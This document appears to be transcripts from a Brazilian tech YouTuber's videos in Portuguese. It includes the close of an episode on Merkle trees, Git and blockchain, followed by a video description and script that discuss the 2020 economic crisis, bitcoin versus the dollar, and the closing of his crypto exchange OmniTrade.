Se isso pareceu similar a um banco de dados NoSQL distribuído como Amazon DynamoDB ou Cassandra, é porque é. Uns três ou quatro episódios atrás eu expliquei como funcionam chaves distribuídas, depois assistam. BitTorrent não deixa de ser um grande banco de dados NoSQL distribuído. São tecnologias similares. Toda vez que você abre um programa como Transmission ou QBitTorrent pra baixar alguma coisa, está participando dessa coordenação toda e se tornando um nó réplica de um grande banco de dados NoSQL distribuído. Você só não sabia disso.

Diferente de um banco de dados, eu não preciso que todos os dados que já foram gravados num DHT, permaneçam lá pra sempre. Arquivos novos aparecem, arquivos que ninguém mais quer desaparecem. Se não tem ninguém compartilhando algum determinado arquivo, não preciso ter informações dele trafegando. Seria ineficiente. Só interessa arquivos que alguém está compartilhando.

Num Git não, eu preciso que tudo que os desenvolvedores do projeto fizeram, seja adicionar novos arquivos, modificar existentes, ou até apagar, esteja devidamente registrado no log de commits do repositório, e que seja possível voltar pra qualquer momento no passado e ter tudo intacto, exatamente como era. Não pode ser parcial. Por outro lado, não pode ficar no caminho do desenvolvedor e adicionar obstáculos. Se o desenvolvedor achar que quer reescrever a história, precisa deixar.

A resiliência do Git aparece numa equipe, com mais de uma pessoa. Basta ter mais um desenvolvedor que tem como comparar os repositórios nas máquinas de cada um e ver que houve problemas. Basta checar os hashes dos commits. Se tiver 3 desenvolvedores já temos como fazer um tipo rudimentar de consenso: o que tiver o histórico mais diferente tá errado.

Eu só expliquei os conceitos bem básicos, tem bem mais detalhes por trás pra vocês pesquisarem depois. Árvores Merkle são úteis pra BitTorrent e pra Git, mas também são usados em outros lugares. O sistema de arquivos ZFS, que é usado no TrueNAS pra grandes servidores de armazenamento também usa árvores Merkle pra detectar corrupção de dados e ter a funcionalidade de snapshots com pouco overhead.

Outras redes ponto a ponto como o IPFS, que é o InterPlanetary File System, um sistema de arquivos distribuídos global, usa árvores Merkle, mais especificamente Merkle DAGs como Git. Não só sistemas de arquivos, mas bancos de dados distribuídos como Cassandra ou Riak usam árvores de Merkle pra minimizar a quantidade de dados que precisam ser transmitidos pra sincronização de dados.

No começo do video eu mostrei a cadeia de certificados e como o certificado do meu domínio é assinado pela Letsencrypt que, por sua vez é assinado pela ISRG. O protocolo TLS usa uma variante de árvore de Merkle chamada Merkle Hash Tree, no framework de Certificado de Transparência pra fornecer um log auditável de certificados gerados. E essa característica é importante: qualquer coisa que precise ser auditável pode usar árvores Merkle pra oferecer “prova de inclusão”, de forma que é possível provar que um pedaço de dados faz parte de um determinado conjunto, sem revelar o conjunto inteiro.

E se você já parou pra estudar o básico de Bitcoin e outras criptomoedas, já deve ter se deparado com Árvores Merkle e Merkle Root. É o que está na raíz do bloco de transações da tal de blockchain. Um blockchain e um repositório Git ou a árvore de merkle de Bit Torrent são muito parecidos: eles garantem que não dá pra adulterar um bloco sozinho, sem precisar re-gerar todos os blocos à frente dele. Com um ingrediente a mais: o tal processo de mineração. Em Git, um rebase é uma operação razoavelmente rápida.

Mas num blockchain de Bitcoin, o equivalente de rebase de Git custa absurdamente caro, astronomicamente caro na real, o que garante que é perto de impossível fazer um rebase. É isso que torna o blockchain interessante. Um blockchain onde é barato fazer rebase não é diferente de um Git e, como reserva de valor, não vale nada. Tudo que expliquei neste episódio são as tecnologias que estão na fundação do Bitcoin.

Se conseguiram chegar até aqui, nós vimos na prática como encriptação com chaves simétrica funciona. Aprendemos como funciona troca de chaves usando criptografia assimétrica. Vimos como quebrar arquivos e trafegar pedaços de uma forma que conseguimos checar se os pedaços vieram corretamente e vimos como BitTorrent e Git funcionam com árvores Merkle. Tudo em computação moderna usa esses conceitos, em particular certificados digitais TLS, bancos de dados NoSQL e até Bitcoin, por isso é importante estudarem tudo. Se ficaram com dúvida deixem nos comentários abaixo, se curitram o video mandem um joinha, assinem o canal e não deixem de compartilhar com seus amigos. A gente se vê, até mais!

DESCRIÇÃO

ERRATA pré-lançamento: antes do video sair eu já vi que os dados que eu falei no video estão desatualizados. Fonte: https://www.crescat.net/crescat-capital-quarterly-investor-letter-q1-2020/

• desemprego nos EUA já está na casa dos 17 milhões e não os 6.6 que são do fim de março
• a perda de valor do mercado de equities está na casa dos 35 TRILHÕES. Os pacotes de estímulo do FED na casa dos 2.2 Trilhões não vai fazer cócegas
• esta semana sai os resultados de Q1 das empresas.

Semana passada (08/04/2020) eu fechei minha empresa de corretora de criptomoedas OmniTrade (https://livecoins.com.br/corretora-de-bitcoin-brasileira-encerra-atividades-entenda/).

No episódio de hoje vou aproveitar pra conectar uma breve atualização do cenário da crise econômica de agora pra explicar qual a relação de moedas como o dólar e criptomoedas como o bitcoin.

Então na segunda parte aproveito pra explicar as origens da OmniTrade, como ela foi construída, quais eram os planos e sobre o fechamento em si. E sim, o título do video ficou meio “click-bait”, sorry por isso :)

Links:

• A lot of countries did wrong fighting coronavirus. No one did worse than the Chinese government. (https://www.youtube.com/watch?v=_V4r5ibOm5g)
• Live devBagé (https://www.youtube.com/watch?v=HMRtzEkRTvA&list=PLdsnXVqbHDUcjiwcY87avf7RWuQX5cF9g&index=12&t=0s)
• Live Flutterando (https://www.youtube.com/watch?v=XCsDC2FsM-E&list=PLdsnXVqbHDUcjiwcY87avf7RWuQX5cF9g&index=5&t=1774s)
• Playlists Blockchain (https://www.youtube.com/playlist?list=PLdsnXVqbHDUd6-be_WU0FzUgix3tRjAH4)
• Começando na Carreira de TI (https://www.youtube.com/watch?v=H84WD_xyj10)
• Canal do Fernando Ulrich (https://www.youtube.com/channel/UCLJkh3QjHsLtK0LZFd28oGg)
• Bitcoin Halving (https://www.bitcoinblockhalf.com/)
• O que é o Livro Razão na contabilidade? (https://contadores.contaazul.com/blog/livro-razao-contabilidade)
• Por que fungibilidade é importante? (https://blog.bitcointrade.com.br/por-que-fungibilidade-e-importante/)
• The operation and demise of the Bretton Woods system: 1958 to 1971 (https://voxeu.org/article/operation-and-demise-bretton-woods-system)
• Black Swan author Nassim Taleb says Covid-19 pandemic not Black Swan event (https://mothership.sg/2020/04/covid-19-black-swan/)
• Under the Microscope: The Real Costs of a Dollar (https://www.coindesk.com/microscope-real-costs-dollar)
• Nixon Ends Convertibility of US Dollars to Gold and Announces Wage/Price Controls (https://www.federalreservehistory.org/essays/gold_convertibility_ends)
• Bernanke on taxpayer’s money for the bailouts. (https://www.youtube.com/watch?v=U_bjDAZazWU)
• A lot of countries did wrong fighting coronavirus. No one did worse than the Chinese government.(https://www.youtube.com/watch?v=_V4r5ibOm5g&t=1s)

SCRIPT

Olá pessoal, Fabio Akita

O video desta semana acabou atrasando. Eu ia finalmente fazer um video sobre minha coleção de teclados mecânicos mas vai dar mais trabalho do que eu pensei. E além disso eu acabei pedindo mais um de última hora que chegou segunda e ainda estou testando. Hoje faz exatamente 1 mês desde que eu comecei a quarentena, vou dar uma atualização de como estou vendo o curto prazo desta crise econômica pra dar contexto sobre o segundo assunto. Acho que 90% das pessoas que assistem meu canal provavelmente não sabiam que eu tenho 2 empresas e uma delas era uma corretora de criptomoedas, a OmniTrade, que terminamos de fechar semana passada e vou aproveitar pra contar um pouco da história dela.

Semana passada eu participei de duas lives, se vocês não assistiram vou deixar os links nas descrições abaixo. Provavelmente vão ser as duas únicas por agora, porque embora eu queira evitar o assunto, obviamente o maior interesse de todo mundo agora é sobre o desenrolar da crise econômica e da pandemia. Como eu já divaguei muito sobre o assunto nas lives, nos próximos vou evitar falar muito porque na real, não tem muito mais a dizer e detesto ficar me repetindo.

Disclaimer que vale a pena repetir, eu não sei tudo! Eu não sou e nem tenho interesse em ser um ativista ou qualquer coisa assim e defender alguma causa com unhas e dentes. Vira e mexe eu digo pra amigos que eu sou só uma “testemunha da história”. Quer dizer que eu não tenho vocação nem vontade de tentar mudar a história. Se isso acontecer foi um efeito colateral e não um objetivo. Eu sou só curioso pra saber se o que vem a seguir é o que eu imaginava, e eu até acho interessante quando a história me surpreende, porque é algo raro de acontecer.

Claro que eu também gostaria que o mundo fosse utopicamente melhor, mas eu sou um pragmático realista. Eu não faço contas baseados em sonhos, eu faço contas baseado na realidade, por pior que ela seja. Por isso não é importante pra mim que todos concordem com o que eu digo. Eu não derivo nenhum prazer de discutir com quem discorda. Pelo simples fato que se eu estiver errado, eu tenho Skin in the Game, ou seja, vou ter que cortar na minha própria carne. O tema de hoje é um exemplo disso.

Pronto, disclaimers feitos, uma pequena atualizada sobre minha visão da crise pra usar de contexto no tema. Tenham paciência por enquanto. O que eu e alguns economistas falamos durante 2018 e 2019, sobre uma crise eminente na economia que nos levaria a uma recessão, não aconteceu. Apesar da coincidência ser interessante, não é correto dizer que foi uma previsão. Nós não conseguimos prever que na realidade ia ser pior, mas muito pior do que nossos piores cenários. Muita gente ainda acha que quando a pandemia for controlada, tudo vai voltar ao normal. Infelizmente eu acho muito improvável. Existem duas coisas que me preocupam bastante.

O primeiro é a irracionalidade de todas as discussões públicas até agora. Só pra variar as pessoas estão indo perigosamente na direção de abrir mão das liberdades individuais em troca de uma falsa segurança que nunca existiu nem vai existir. Eu avisei dois vídeos atrás que momentos assim tendem a exaltar regimes totalitários e procurar salvadores da pátria. Especialmente momentos de pânico generalizado e desinformação massiva. O problema é que agora vai haver um consenso global em crenças erradas. Eu juro que eu quero estar redondamente enganado nisso. Vou recomendar um video importante que mostra a linha do tempo dos eventos que nos trouxeram até este ponto. Ninguém aprendeu nada antes, pelo visto vamos continuar não aprendendo, e vamos fazer pior da próxima vez.

O segundo motivo é econômico. Os mercados já foram massivamente infectados pelos bancos centrais e os dados que temos agora estão distorcidos. Vou dar um exemplo. Se você observar o comportamento de ações, fundos e tudo mais vai ver que no geral, tivemos o grande crash depois do carnaval, mas tirando os casos mais óbvios como companhias aéreas, quase tudo tá se recuperando. Olhem nos gráficos como S&P 500, NASDAQ, IBOVESPA, qualquer um, tem subido no geral. Na média, metade das perdas já foi milagrosamente recuperado. Mas lembram no video sobre a crise que eu falei que na minha pessoa física eu tinha perdido quase meio milhão? Pois é, eu Não realizei as perdas obviamente, e eu já recuperei mais da metade, sem fazer absolutamente nada.

Se você olhar isso superficialmente poderia imaginar que os mercados tão respondendo positivamente, que na verdade a crise não é tão ruim quanto parece, e logo logo vamos voltar à normalidade. Eu realmente preferia que fosse só isso. Infelizmente não é assim que se lê isso. Seria o caso se esses dados representassem um mercado livre sem interferência. Mas os bancos centrais do mundo já interferiram. Estão jogando centenas de bilhões no sistema financeiro o tempo todo. O Japão sozinho aprovou 1 trilhão de dólares, os Estados Unidos 2.2 trilhões. O Brasil mesmo vai fazer isso. É o que eu falei sobre eles estarem “imprimindo dinheiro”, entre aspas.

Vou ser extremamente grosseiro pra simplificar. Quando os bancos centrais “imprimem dinheiro”, eles aumentam a oferta de dólar em circulação e eu já expliquei sobre oferta e procura. Aumente a oferta de alguma coisa e seu preço cai. Imprimir dinheiro aumenta sua oferta e desvaloriza seu valor. O efeito mais óbvio é que isso geraria inflação, que é o aumento dos preços dos produtos por exemplo. Por isso que não adianta só sair distribuindo dinheiro como muitos acham, isso só faria os preços aumentarem. E obviamente não adianta congelar os preços, isso só faria os produtos desaparecerem.

Mas temos outro problema. Não vamos ter inflação agora porque literalmente ninguém tá podendo consumir, seja porque já ficou desempregado, seja porque tá se precavendo caso fique desempregado, ou seja simplesmente porque tá num lockdown rígido e não pode sair de casa e os comércios não podem abrir. Nesse caso o risco é outro: deflação. É o caso onde nem abaixando os preços o consumo sobe. Existem países que já estavam em deflação antes da crise, vide o Japão que desesperadamente tenta aumentar o consumo faz décadas sem sucesso. Numa lógica simplista, porque você gastaria seu dinheiro hoje se amanhã você pode comprar um pouco mais com o mesmo dinheiro já que ele não desvaloriza? Parece bom, mas não é, isso cria estagnação.

Ma agora estamos numa combinação rara: podendo aumentar a liquidez imprimindo dinheiro e sem aumentar demais a inflação no curto prazo. Mas a inflação vai chegar, só que depois da pandemia. Só tem um lugar onde o efeito de inflação tá se refletindo já agora, e é nos mercados financeiros. Pense em ações como produtos de prateleira. As ações estão inflacionadas de novo. É a mesma coisa que veio causando a bolha que eu falei até antes da crise. Só que em vez da liquidez ser causada por imprimir dinheiro era por diminuir a taxa de juros, em ambos os casos isso leva à inflação das ações.

Eu não quero entrar em detalhes sobre os mecanismos porque tem gente mais qualificada que eu pra explicar isso, mas quando eu falo “imprimir dinheiro” não estou falando literalmente em imprimir papel moeda e sim em Quantitative Easing ou QE que a grosso modo é o governo colocar no balancete dele ativos do mercado. Imprimir dinheiro na prática é como adicionar uma linha no “Excel” do banco central. Problema é que você não pode pensar nisso de forma absoluta, como papel moeda trocando de mãos, é um linguajar contábil. Pesquisem sobre isso.

Esse lockdown ou quarentena global é super sério. Dependendo de que estimativas você olhar o mundo já perdeu até este momento todo o crescimento estimado de PIB do ano, no caso mais otimista algo na ordem de 4 a 5 trilhões de dólares. No caso mais pessimista, pode multiplicar isso por quanto quiser porque tá difícil ver o fundo do poço. Seu chute vai ser tão bom quanto o meu. Estima-se que um terço da população do mundo tá em algum nível de restrição de quarentena.

Tenta colocar esse número na cabeça, não existe situação assim na história a não ser em períodos de guerra mundial. Isso não vai acabar bem. E se você não está acompanhando dias atrás os Estados Unidos divulgaram o nível de pedidos de seguro desemprego e até dia 28 de março mais de 6.6 milhões de pessoas entraram com pedido. O normal são milhares, e em poucas semanas chegou em milhões. Isso não aconteceu na crise de 2008, nem de 2001, nem de 1987, é um nível catastrófico e muitas empresas já estão fechando. Eu quero que vocês gravem este gráfico que mostra seguro desemprego desde os anos 80 até agora e o pico no fim do gráfico que é este ano. Os efeitos dessa crise já estão se tornando permanentes. Essa vai ser a nova realidade.

Pronto, sem me alongar demais vamos parar por aqui no meu big picture e descer pro meu mundinho bem menor. Eu naturalmente não confio em papel moeda. Muito menos a do Brasil. Como eu já disse antes, eu vivi os tenebrosos anos 80 e senti a hiperinflação na própria pele. Por outro lado eu sempre vivi num mundo pós segunda guerra, mais especificamente pós-Bretton Woods e pós-desvinculação do padrão ouro, ou seja, um mundo de dinheiro virtual e câmbio flutuante. Significa que eu suspeito de basicamente tudo embora eu precise conviver com isso.

Por outro lado eu sou economicamente conservador, eu não tenho vocação pra trader nem investidor de risco. Eu gosto de risco mas até certo ponto, por isso nenhuma promessa de tech startups unicórnios me atrai. Os venture capitalists não gostam muito de mim aliás. Nem eu sou imune, claro, certamente já me balançou em algumas épocas, mas tudo sempre parece um golpe. Nem estou dizendo que existe a intenção, só que o marketing é extremo demais. Ironicamente foi por isso que me interessei por criptomoedas. E eu sei o que você pensou, mas aguentem até o fim. Eu não vou tentar vender criptomoedas como nenhum salvador da pátria não.

Por volta de 2009 ou 2010 apareceu as conversas em torno de moedas digitais e bitcoin e eu cheguei a minerar, na época que um bitcoin valia centavos. E obviamente eu também fui um daqueles que tinha bitcoins lá no começo e não guardou a carteira. Pois é! De repente hoje valeria alguns milhões, vai saber. Cagada minha não ter dado atenção.

Daí acho que foi lá pelo começo de 2017 que amigos meus começaram a falar de criptomoedas de novo. Parei pra pesquisar e vi que a coisa aumentou bastante. Mais interessante porque eu vi vários desses programadores hipsters influencers de rede social fazendo questão de ser religiosamente contra criptomoedas. Sem apresentar nenhuma lógica, pra variar. E isso me deixou mais curioso ainda, porque se irrita os ideológicos certamente tem alguma coisa que vale a pena eu explorar. Lembram que eu falo que eu não sigo nenhum influencer? Pois é, mas quando muitos influencers fazem questão de falar contra que eu fico mais interessado.

A tecnologia em si é razoavelmente simples. Você consegue ler o lendário paper original do Satoshi Nakamoto, que completou 10 anos ano passado, em uma hora e entender. Aliás, pra entender criptomoedas no nível técnico você precisa no mínimo saber o que eu já expliquei sobre criptografia nestes dois vídeos no canal, dêem uma estudada. Existem centenas de vídeos, posts de blog e até livros já hoje em dia explicando o funcionamento de um ledger digital e eu não vou perder tempo explicando tudo de novo. Pesquise por conta própria e se ainda não fez isso, pra efeitos deste video, assuma que funciona.

Aqui eu podia começar a explicar o que é um ledger, o que é uma transação, como é feita a assinatura e mineração de blocos e bla bla bla mas isso já existe super bem explicado em centenas de lugares, é só pesquisar um pouco. Em vez disso deixa eu rapidamente passar por quatro das principais coisas que as pessoas lêem no título de notícias e não pensam nem dois segundos a respeito.

A primeira coisa é sobre a lentidão em assinar blocos, a tal “mineração” que na prática é o trabalho de validar as transações de um bloco antes de adicionar no blockchain e através disso desbloquear mais um pouco de bitcoins como prêmio. No caso do Bitcoin isso pode levar 20 minutos a mais. Isso impossibilita usar Bitcoin numa maquininha de pagamento no caixa de uma loja por exemplo, é verdade. Mas isso não me preocupa. Existem alternativas pra isso. De forma simplória pense num boleto. Ela precisa de 1 dia pra processar e confirmar, é parecido. Você não usa boleto num caixa de supermercado, pra isso você usa outras coisas como seu cartão de crédito, que é rápido porque você não usa dinheiro e sim outra invenção, chamada crédito.

A administradora de cartão não checa se você tem dinheiro na sua conta e sim se tem direito a crédito por sua boa reputação de bom pagador. No fim do mês ele emite uma fatura e daí de fato você paga ou não. Todo mundo pensa que dinheiro é tudo igual mas não é, uma coisa é o papel moeda na sua mão, outra coisa diferença é a representação virtual no saldo da sua conta bancária, outra coisa totalmente diferente é o crédito no cartão e assim por diante. São todos formas de dinheiro virtual.

A segunda coisa é o custo dessa mineração, particularmente o controverso uso de energia. Sinceramente, isso é mais político que prático. O título de matérias é sempre algo do tipo “nossa, a mineração de bitcoins usa o mesmo tanto de energia pra iluminar as casas de uma pequena cidade”. Daí vira trending topic no Twitter. Eu falo que se algo similar ao Twitter existisse nos anos 40 a gente não teria computadores hoje. Um dos primeiros grandes computadores comerciais foi o ENIAC. Ele era tão veloz que podia executar 5 mil operações de adição por segundo. Ele tinha uns 15 metros de comprimento e consumia tanta energia e dissipava tanto calor que você podia aquecer um pequeno lago do lado dele.

Eu já consigo ver os tweets de 1945 “esse tal de computador é uma abominação, um único computador poderia iluminar dezenas de casas numa pequena cidade”. E adivinhem, os processadores modernos de hoje fazem bilhões de operações por segundo a uma fração da energia de um ENIAC. Qualquer calculadora moderna é mais rápida que isso. Vou contar uma novidade pra vocês que viveram embaixo de uma rocha em Marte nos últimos 100 anos: a tecnologia evolui rápido, o tempo todo.

A terceira coisa é a aversão a criptomoedas porque ela é usada pra coisas obscuras, sequestros, tráfico de drogas, espionagem e sei lá mais o que. Se isso te preocupa vou te contar qual é a moeda virtual mais usada no crime organizado e no mercado negro. Se chama dólar. O tanto de dólar que circula só em tráfico de drogas, por ano, provavelmente supera o valor de todos os bitcoins que existem hoje. Se usar uma moeda que tá envolvida com crimes é uma ofensa à sua pessoa, use lógica. Eu recomendaria que você deixe de usar qualquer moeda e volte a fazer escambo.

A quarta e última coisa é relacionada e dessa vez é meio real, que criptomoedas estão associados a golpes de pirâmides. Esta é a mais difícil de explicar mas deixa eu tentar. Da mesma forma como usos ilícitos, você não precisa de criptomoedas pra criar fraudes. Dólares e qualquer outra moeda servem. Produtos consumíveis servem, sei lá shake pra emagrecer por exemplo. Quantas pirâmides existem que todo mundo chama de marketing multinível?

Não existe nada inerente na tecnologia de blockchains que as tornam necessariamente fraudulentas. O problema é o uso do nome. De fato a maior parte dos negócios associados a criptomoedas que ganharam mais notoriedade são ligados a fraudes, em particular pirâmides. E aqui eu vou ser advogado do diabo. Fraudes como essas existem porque as pessoas consomem as fraudes. Isso vale pra tudo. Vira e mexe eu cutuco os tais coaches quânticos e tals mas metade do problema é que eles existem pra atender uma demanda. Por mais bizarro que pareça, existe uma demanda que tá disposta a pagar pra ser enganado, em busca de sonhos irreais a preços baratos.

O comportamento do bitcoin depois de 2017 não está muito diferente dos mercados tradicionais de agora depois do crash pós-carnaval. Muitos cínicos apontaram que nesse crash o Bitcoin caiu também, só que tudo caiu. O Ouro caiu. No fim de 2017 o bitcoin perdeu uns 500 bilhões de dólares de sua valuation. Os mercados tradicionais agora perderam uns 2 trilhões de dólares. Todo mundo quer acreditar que criptomoedas são inerentemente bolhas e fraudes, só que se você afirmar isso precisa adicionar os mercados tradicionais. Os produtos financeiros, securities, ETFs, bonds e tudo mais, tecnicamente se comportam de forma parecida com criptomoedas, são os mesmos conceitos e os mesmos mecanismos.

A grande diferença entre um bitcoin e um dólar é o mecanismo na sua fundação. Você nunca se perguntou porque o dólar é a moeda dominante e de maior valor no comércio internacional? Eu recomendo que vocês pesquisem sobre isso na história, mas existiu uma data pra isso, julho de 1944 depois da segunda grande guerra mundial, quando 730 delegados de 44 nações se reuniram no Hotel Mount Washington em Bretton Woods, New Hampshire nos Estados Unidos pra uma conferência pra definir a política monetária do mundo. E foi aí que definiram o dólar como a moeda de base, que na época era lastreado em ouro, sendo os Estados Unidos o país com a maior reserva de ouro.

Os acordos de Bretton Woods levaram uns 15 anos pra serem implementados. Mas seguindo a história, com o crescimento acelerado nos anos 60, a demanda pela liquidez de dólar e a limitação do lastro em ouro se tornou um fator limitante e que deixava os Estados Unidos vulneráveis. Pra não divagar demais, vou deixar um link nas descrições abaixo sobre isso, mas foi em agosto de 1971 que nascia a primeira moeda totalmente virtual do mundo quando o então presidente Richard Nixon removeu o lastro em ouro do dólar. Nenhum governo estrangeiro que tinha dólares podia mais converter de volta pro ouro e o dólar se estabeleceu com o lastro do mundo.

Entendido isso vamos voltar: qual a diferença do bitcoin pro dólar? Tiranda a parte óbvia que o mundo todo tá dependente de dólar, ou seja, suas dívidas são referenciadas em dólar, a diferença técnica - e aqui depende do entendimento de tecnologias de criptografia -, é que bitcoin foi construído pra se comportar mais ou menos como ouro. Ele tem uma quantidade limitada que vai sendo minerada cada vez mais devagar e um dia ele simplesmente vai esgotar e o que foi minerado é tudo que vai existir, sem exceção. Não existe a opção de se criar mais bitcoins do que o limite programado nele.

Além disso, assim como ouro ou outro material físico que eu posso transferir a propriedade só passando de uma mão pra outra, também uma unidade de bitcoin, ou uma fração dela que denominamos Satoshis, podem ter sua propriedade transferida de uma carteira pra outra carteira, sem cópia, sem duplicar, é uma transferência um pra um, e esta é a grande novidade dos blockchains que não é intuitivo de imediato.

Pense assim, um dos grandes problemas não resolvidos desde o surgimento da internet é sobre como lidar com propriedades 100% digitais. Porque é extremamente fácil e barato fazer cópia de qualquer coisa, da mesma forma quando você copia um arquivo do seu HD pra um pen drive. A cópia é idêntica à original, você não saberia distinguir qual foi o original. Diferente de cópias analógicas como fitas cassette ou VHS onde cada nova cópia deteriora em qualidade. Foi a grande controvérsia das plataformas de pirataria como Napster, Limewire, eDonkey até os dias de hoje com Mega ou Torrent.

Pior ainda, como representar dinheiro ou moedas virtuais? A única forma conhecida de controlar algo assim é confiar em uma autoridade centralizadora que todo mundo confia. Por exemplo, se você joga League of Legends você transaciona na plataforma com Riot Points, que é basicamente uma moeda virtual. Ela tem valor porque só se pode comprar coisas na plataforma com essa moeda virtual. E sua confiança na moeda é igual à sua confiança na empresa Riot Games. O mesmo vale pra qualquer outra plataforma virtual.

Com o dólar é basicamente a mesma coisa. O valor do dólar deriva no seu valor de moeda de troca internacional e como lastro de todas as dívidas do mundo. Pergunta pra Rússia se quando ele vende gás pra China ele prefere ser pago em dólares ou em Yuan. Ou pergunta pra Arábia Saudita se quando ele vende petróleo pra China, ele prefere ser pago em dólares ou Yuan. Aliás, eu pergunto pra você, se tivesse a opção do seu salário ser pago em dólares ou em Yuan, qual você escolheria? Essa confiança é equivalente a confiar no FED, o banco central americano, a única entidade que tem soberania pra imprimir mais moeda e controlar a política monetária. O que é o dólar? A grosso modo, é um número numa planilha, mais especificamente um livro razão ou, em inglês, um ledger.

E um blockchain é só isso: um ledger com garantias que um transação escrita e verificada neste ledger não pode ser modificado nunca mais. A grande diferença do ledger de bitcoin e o ledger do dólar é que no caso do blockchain, não existe uma única pessoa que é capaz de controlar e modificar esse blockchain, é a garantia do algoritmo utilizado, a idéia que conhecemos na ciência da computação como consenso bizantino. Uma das aplicações disso é coordenar sistemas distribuídos. Na prática garante que é altamente improvável reescrever uma transação nesse ledger. Uma vez escrito ele está de verdade na pedra.

No caso do dólar, o FED é o único que controla o ledger e ele pode escrever o que quiser. Que é o que ele tá fazendo agora com o tal Quantitative Easing, escrevendo novos dólares no seu livro razão e boom, 2.2 trilhões aparecem. Claro que não é simples assim, como já expliquei antes, não dá pra ficar criando moeda à vontade porque quanto mais dólares se coloca no mercado sem razão, mais ele desvaloriza o valor da moeda, por exemplo gerando inflação.

E nesse caso, por que existem tantos golpes e fraudes em cima do Bitcoin? Aí já não é culpa da tecnologia de blockchain. O problema é que uma vez tendo um lastro de valor, podemos criar dezenas de produtos financeiros que não ficam registrados no blockchain, basicamente os mesmos que podemos criar em cima dólares. Por exemplo, ações de uma empresa é um produto financeiro. Só que em vez de usar a base de dólares podemos usar a base de bitcoins ou qualquer outra moeda virtual, criptomoedas ou não. Sabe seus pontos de milhagens ou qualquer ponto de fidelidade? São moedas virtuais.

Mas de novo, por que temos tantos problemas de golpes e fraudes em cima de criptomoedas? Porque em termos de produtos financeiros ainda estamos aprendendo o que funciona e o que não funciona. O grande conceito é como o que eu falei do seu cartão de crédito. Quando você paga sua conta no supermercado, nenhum dinheiro trocou de mãos, só a promessa de troca. O dinheiro não saiu da sua conta e nem entrou na conta de banco do supermercado. Só em determinadas datas uma administradora de cartão de créditos faz o pagamento pros lojistas e faz a cobrança via uma fatura pra você. O conceito é que tanto você, consumidor, e o lojista confiam na administradora como intermediador. Se a administradora falir, o lojista fica sem o dinheiro, teoricamente, por isso confiança é um fator fundamental. A gente confia numa VISA porque ela existe faz décadas e dá impressão que vai existir mais algumas décadas.

A mesma coisa na Bolsa de Valores. As corretoras intermediam as compras e vendas entre a Bolsa e você, mas as corretoras em si não são donas das ações e, principalmente, não são donas dos order books ou livros de oferta, o que comumente se chama de “pedra”. A grosso modo funciona assim. Toda vez que uma Petrobrás quer vender ações ela registra na B3. Todas as corretoras enxergam a mesma quantidade e começam a receber ordens de compra de seus clientes. “Compre a 50 reais” ou “Compre a 60 reais”, é como um leilão e todos esses pedidos são enviados pro mesmo lugar: pro livro de ofertas da B3. Toda oferta colocada por toda corretora é enxergada por todas ao mesmo tempo. Bolsa é um grande leilão, ordens de compra e ordens de venda sendo colocadas num mesmo lugar o tempo todo. É como se fosse um Mercado Livre ou eBay de ações.

Não importa qual corretora você usar, teoricamente você enxerga exatamente o mesmo livro de ordens da B3 pras mesmas ações e outras classes de ativos. O que varia é o nível de serviço e coisas como taxas de administração. Teoricamente, mesmo se uma corretora falir, você não perde suas ações, porque sua propriedade é registrada na B3. É uma puta burocracia mudar a custódia das ações quando você sai de uma corretora e vai pra outra, mas isso é possível.

Muita gente pensa em corretoras de criptomoedas como se fossem corretoras do mercado tradicional como XP ou BTG ou EasyInvest. Porque corretora de cripto tem mais ou menos a mesma interface com vários pares de moedas em negociação como Bitcoin pra Real ou Bitcoin pra Litecoin e um livro de ofertas com ordens de compra e ordens de venda. Porém a grande diferença é que não existe uma entidade como uma B3 que detém a unificação da liquidez, ou seja, não existe um livro de ofertas centralizado. Cada corretora de cripto é também a própria bolsa de valores.

É isso que é um Mercado Bitcoin, Foxbit, ou Coinbase e Binance lá fora: bolsas de valores de criptomoedas e corretoras. Só que o nome disso ia ficar muito longo então comumente chamamos só de Exchanges, que não é muito correto. A minha empresa OmniTrade era a mesma coisa. Agora por que eu abri a OmniTrade em primeiro lugar? Dois motivos basicamente. Eu disse antes que amigos meus começaram a falar sobre bitcoins, trading e tudo mais. Até então eu já tava em mercados tradicionais, seja em bolsa de valores aqui no Brasil e eu já tava dolarizado e em fundos nos Estados Unidos. Felizmente eu tive oportunidade de começar a diversificar faz algum tempo.

Assim como todo mundo eu ouvi todas as histórias que vocês ouviram, sobre o consumo massivo de energia pra minerar, diversos casos sobre uso de bitcoin em crimes, as diversas pirâmides e golpes e tudo mais. Nada disso me interessou, mas a tecnologia por trás eu achei Muito interessante, inteligente e elegante. Se você estudou o mínimo de ciências da computação e um básico de economia, não era difícil enxergar além do hype e das fake news. A base de tecnologia é sólida. Uma evidência disso é que ela está publicamente exposta faz 10 anos e mesmo com o incentivo econômico de lucrar muito, nenhum hacker de nenhum lugar do mundo conseguiu quebrar ainda. Veja meus videos de criptografia e até de Supremacia Quântica pra entender porque. Certamente pode ser melhorado, como tudo em tecnologia, mas a fundação fazia sentido e o resto das notícias era só isso, barulho.

Mas era um fato que a maioria das exchanges, principalmente naquele ponto eram muito ruins. Eu diria lamentáveis. E a maioria de históricos não muito confiáveis. Eu não via um no Brasil que eu olhasse e gostasse da performance e tecnologias, e que tivesse histórico decente. O correto em criptomoedas é não confiar em nenhuma exchange, deixar numa carteira privada sua e ponto final. Porém é muito pouco prático se você que fazer trading. Aliás, eu já aviso aqui, não me perguntem qual eu recomendo porque eu realmente não recomendo nenhuma. Faça sua própria pesquisa assim como eu fiz a minha.

De qualquer forma o que eu queria fazer era realmente brincar na volatilidade. Pra maioria da população, o que todo mundo gostaria de ter é estabilidade, ir dormir com seu dinheiro valendo X e acordar no dia seguinte ainda valendo o mesmo X. Em mercados de risco como ações ou cripto ou qualquer classe de ativos isso não é verdade, você pode ir dormir rico e acordar pobre ou vice-versa. Por isso a gente fala pra quem for amador e não puder perder o que está investido, nem tentar. Sério, fica longe.

E mais ainda em corretoras de cripto porque elas são lojas online onde você não tem como saber sequer se eles tem mesmo os produtos que estão vendendo. Você só vai saber se tem mesmo o que comprou quando tentar sacar pra fora dela. Mas as ofertas ficam dentro da corretora, a volatilidade é alta, ou seja, o preço varia pra cima ou pra baixo o tempo todo. Não dá tempo de transferir o que você tem na sua carteira fora pra dentro de uma exchange a tempo de executar uma ordem de compra que chamou sua atenção. Eu disse que o tempo de mineração de um bloco leva no mínimo 20 minutos no caso de Bitcoin e pode ser horas dependendo do dia.

